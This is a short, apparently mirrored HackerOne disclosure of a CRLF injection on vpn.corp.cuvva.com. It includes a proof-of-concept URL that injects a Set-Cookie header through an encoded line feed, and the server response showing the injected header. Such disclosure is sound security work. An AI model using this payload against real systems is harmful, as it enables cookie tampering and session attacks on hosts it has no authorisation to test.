Cuvva: CRLF Injection [vpn.corp.cuvva.com]

2017-05-2418:16:45

cyriac

hackerone.com

136

0.003 Low

EPSS

Percentile

70.8%

JSON

Hi team,

Found a CRLF injection in vpn.corp.cuvva.com

Poc

https://vpn.corp.cuvva.com/__session_start__/%0aSet-Cookie:NEW_COOKIE123

Response:

HTTP/1.1 302 Found
Date: Wed, 24 May 2017 18:13:57 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Location: https://vpn.corp.cuvva.com/
Set-Cookie:NEW_COOKIES
Server: OpenVPN-AS
Content-Length: 59


&lt;html&gt;
    &lt;body&gt;
    <p>REDIRECT</p>
    &lt;/body&gt;
&lt;/html&gt;

{F187794}

0.003 Low

EPSS

Percentile

70.8%

JSON

Related for H1:231508